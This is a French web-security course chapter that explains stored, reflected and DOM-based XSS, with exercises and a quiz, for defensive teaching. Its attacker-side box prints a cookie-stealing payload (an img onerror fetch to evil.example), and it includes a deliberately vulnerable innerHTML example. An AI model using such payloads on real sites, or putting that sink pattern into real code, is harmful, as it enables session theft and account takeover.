Skip to Content

Chapitre 7.1 — XSS : les trois types

⏱️ TL;DR — Le XSS injecte du JavaScript qui s’exécute dans le navigateur d’une victime, dans l’origine du site — donc avec tous ses droits (session, actions, données). Trois types selon vit le payload : stored (persistant : stocké côté serveur — un commentaire, un profil — puis servi à tous ceux qui voient la page ; le plus dangereux), reflected (le payload est dans la requête — un paramètre d’URL — et « réfléchi » immédiatement dans la réponse ; il faut piéger la victime avec un lien), et DOM-based (l’injection se fait entièrement côté client : du JS lit une source non fiable — location, postMessage — et l’écrit dans le DOM sans encoder). Même mécanisme partout : une donnée devient du code.

🎯 Objectifs

  • Comprendre pourquoi un XSS est si grave (exécution dans l’origine, contournement de la SOP).
  • Distinguer stored, reflected et DOM-based XSS : où vit le payload, comment il atteint la victime.
  • Reconnaître les sources (entrées non fiables) et les sinks (points d’écriture dangereux).
  • Identifier lequel des trois s’applique à un scénario donné.

Pourquoi le XSS est grave

Un XSS fait exécuter ton JavaScript (celui de l’attaquant) dans la page d’un autre utilisateur, servie par ton domaine. Ce script s’exécute donc dans l’origine du site (rappel Partie 2) : il a accès à tout ce que le JavaScript légitime du site peut faire. Concrètement, un XSS permet de :

  • Voler la session en lisant document.cookiesauf si le cookie est HttpOnly (d’où l’importance de cet attribut, Partie 2).
  • Agir au nom de la victime : envoyer des requêtes authentifiées (changer son email, transférer, publier) — le script est dans la session de la victime.
  • Exfiltrer des données affichées sur la page (données personnelles, tokens dans le DOM, contenu privé).
  • Enregistrer les frappes, afficher un faux formulaire de login (phishing dans le site légitime), défigurer la page.

C’est pour ça que le XSS contourne l’isolation : l’attaquant n’a pas besoin de franchir la Same-Origin Policy — son code s’exécute déjà dedans, comme s’il était le site lui-même.

🎯 Côté attaquant — Le payload minimal de test est <script>alert(1)</script>, mais un vrai payload est discret et utile : <img src=x onerror="fetch('https://evil.example/c?d='+encodeURIComponent(document.cookie))"> (exfiltration), ou du code qui fait une requête authentifiée en arrière-plan. L’attaquant cherche tout endroit où une donnée qu’il contrôle est réaffichée : nom de profil, commentaire, message, paramètre d’URL réfléchi, champ de recherche. Si sa donnée ressort non encodée dans le HTML, il gagne.

Type 1 — Stored XSS (persistant)

Le payload est stocké côté serveur (base de données, fichier), puis servi à quiconque consulte la page qui l’affiche. L’attaquant soumet une fois (un commentaire, un pseudo, une bio, un message, le titre d’un cours), et le script se déclenche pour tous les visiteurs de la page — y compris des administrateurs.

1. Attaquant poste un commentaire : "<script>vol()</script>" -> stocke en base 2. La page /article affiche les commentaires SANS les encoder 3. CHAQUE visiteur (dont l'admin) execute vol() -> propagation massive

C’est le plus dangereux des trois : pas besoin de piéger chaque victime individuellement (le payload est servi automatiquement), il persiste, et il peut toucher des comptes à privilèges (un admin qui ouvre le back-office). Un stored XSS dans un champ vu par un admin peut mener à la compromission complète.

Type 2 — Reflected XSS (réfléchi)

Le payload est dans la requête (souvent un paramètre d’URL ou de formulaire) et il est immédiatement renvoyé dans la réponse, sans être stocké. Exemple classique : une page de recherche qui affiche « Aucun résultat pour : votre terme » en réinsérant le terme non encodé.

URL piegee : https://site.fr/recherche?q=<script>vol()</script> La page repond : "Aucun resultat pour : <script>vol()</script>" -> execute

Comme le payload n’est pas stocké, l’attaquant doit amener la victime à cliquer un lien piégé (email, message, autre site). L’impact dépend donc de l’ingénierie sociale, mais reste grave (le lien vient d’un domaine de confiance — le vrai site). Les messages d’erreur, les pages de recherche, les retours de formulaire sont des vecteurs fréquents.

Type 3 — DOM-based XSS

Ici, l’injection se produit entièrement côté client, sans que le serveur soit impliqué dans le payload. Du JavaScript de la page lit une source non fiable (l’URL, le fragment #, postMessage, localStorage, document.referrer) et l’écrit dans un sink dangereux (innerHTML, document.write, eval, element.setAttribute('onclick', ...)) sans encoder.

// ❌ DOM-XSS : source non fiable (location.hash) ecrite dans un sink (innerHTML) const nom = decodeURIComponent(location.hash.slice(1)) // #<img onerror=...> document.getElementById('bienvenue').innerHTML = 'Bonjour ' + nom // EXECUTE

Le serveur peut être parfaitement codé (il n’a jamais vu le payload, qui vit dans le #fragment — non envoyé au serveur) : la faille est 100 % côté client. C’est le type le plus subtil, très présent dans les SPA. On le repère en traçant les sources (entrées) jusqu’aux sinks (écritures dans le DOM).

Sources (entrées non fiables)Sinks (points d’écriture dangereux)
location (.href, .search, .hash), document.URLelement.innerHTML / outerHTML
document.referrerdocument.write()
window.name, postMessage (event.data)eval(), Function(), setTimeout('code')
localStorage / sessionStorage (si écrits par un tiers)element.setAttribute('on...', ...), .src/.href en javascript:

Le mécanisme, encore une fois

Les trois types partagent la même racine que la SQLi (Partie 6) : une donnée devient du code faute de séparation. Ici, le « code » est du JavaScript/HTML et l’« interpréteur » est le navigateur. La parade suivra le même esprit — séparer la donnée de la structure, via l’encodage de sortie (chapitre 7.2) — et les frameworks modernes le font largement pour toi (chapitre 7.3).

💡 Réflexe — Pour chaque type, la question de traçage est la même : « d’où vient cette donnée, et où est-elle écrite ? ». Stored : d’un stockage serveur, écrite dans une page vue par d’autres. Reflected : de la requête courante, écrite dans la réponse. DOM : d’une source client (location…), écrite dans un sink DOM. Si une entrée atteint un point d’affichage/écriture sans encodage, tu as (au moins) un XSS potentiel.

🧭 Sur FormaCampus — FormaCampus a plusieurs zones à risque XSS : les commentaires et forums (stored), les pages de recherche (reflected), et le contenu riche des cours (HTML formaté — un cas particulier traité au chapitre 7.2). L’équipe les a cartographiés : le rendu passe par React/Twig (auto-échappement), le contenu riche est sanitizé par DOMPurify, et une CSP sert de filet. Le vecteur le plus redouté est un stored XSS dans un champ vu par un formateur ou un admin (pseudo, titre de devoir) : il pourrait compromettre un compte à privilèges et, de là, des données d’apprenants. D’où une vigilance particulière sur tout champ saisi par un utilisateur et affiché à un autre.

✏️ Exercices

Exercice 1 — Quel type ? Pour chaque cas, dis s’il s’agit de stored, reflected ou DOM-based XSS : (a) un pseudo contenant <script> s’exécute sur la page de profil pour tous les visiteurs ; (b) un lien ?msg=<script>... affiche le message tel quel dans la page ; (c) du JS fait el.innerHTML = location.hash sans encoder.

✅ Solution

(a) Stored : le payload est persisté (le pseudo en base) et servi à tous les visiteurs de la page de profil. (b) Reflected : le payload vient de la requête (?msg=) et est renvoyé immédiatement dans la réponse ; il faut piéger la victime avec le lien. (c) DOM-based : l’injection est entièrement côté client — une source client (location.hash) écrite dans un sink (innerHTML) sans encodage ; le serveur n’a jamais vu le payload (le fragment # ne lui est pas envoyé).

Exercice 2 — Pourquoi HttpOnly n’annule pas le XSS. Un collègue dit : « nos cookies sont HttpOnly, donc le XSS n’est pas un problème ». Nuance sa position.

✅ Solution

HttpOnly empêche une conséquence — le vol du cookie de session via document.cookie — ce qui est important. Mais le XSS reste grave : le script s’exécute dans la session de la victime et peut agir en son nom (envoyer des requêtes authentifiées : changer l’email, publier, transférer), exfiltrer les données affichées à l’écran, poser un keylogger ou un faux formulaire de login, défigurer la page. Il n’a pas besoin de voler le cookie pour faire des dégâts — il est déjà dans le contexte authentifié. HttpOnly est une atténuation nécessaire, pas une raison d’ignorer le XSS. Il faut empêcher le XSS (encodage, sanitization, CSP), pas seulement limiter le vol de cookie.

🧠 Quiz de révision

1. Pourquoi un XSS est-il si grave vis-à-vis de la Same-Origin Policy ?

Parce que le script injecté s’exécute dans l’origine du site, avec tous les droits du JavaScript légitime : il n’a pas à franchir la SOP, il est déjà « dedans ». Il peut donc agir au nom de la victime, lire ses données, voler sa session (si non HttpOnly).

2. Qu’est-ce qui distingue le stored XSS et pourquoi est-il le plus dangereux ?

Le payload est stocké côté serveur et servi automatiquement à tous ceux qui voient la page (dont des admins), il persiste et n’exige pas de piéger chaque victime. Un stored XSS dans un champ vu par un admin peut mener à une compromission complète.

3. Comment une victime est-elle atteinte par un reflected XSS ?

Le payload est dans la requête (paramètre d’URL/formulaire) et réfléchi immédiatement dans la réponse ; il n’est pas stocké. L’attaquant doit donc amener la victime à cliquer un lien piégé (email, message) — le lien pointant vers le vrai domaine de confiance.

4. Qu’est-ce qui caractérise le DOM-based XSS ?

L’injection se produit entièrement côté client : du JS lit une source non fiable (location, postMessage, referrer) et l’écrit dans un sink dangereux (innerHTML, eval…) sans encoder. Le serveur peut être parfaitement codé — la faille est dans le JavaScript de la page.

5. Quelle question de traçage révèle un XSS potentiel ?

« D’où vient cette donnée, et où est-elle écrite (affichée) — avec ou sans encodage ? ». Si une entrée non fiable atteint un point d’affichage/écriture (HTML, attribut, sink DOM) sans encodage adapté au contexte, il y a un XSS potentiel.


Chapitre suivant : Encodage & sanitization — la parade centrale : encoder la sortie selon le contexte, et sanitizer le HTML riche autorisé avec DOMPurify.

Last updated on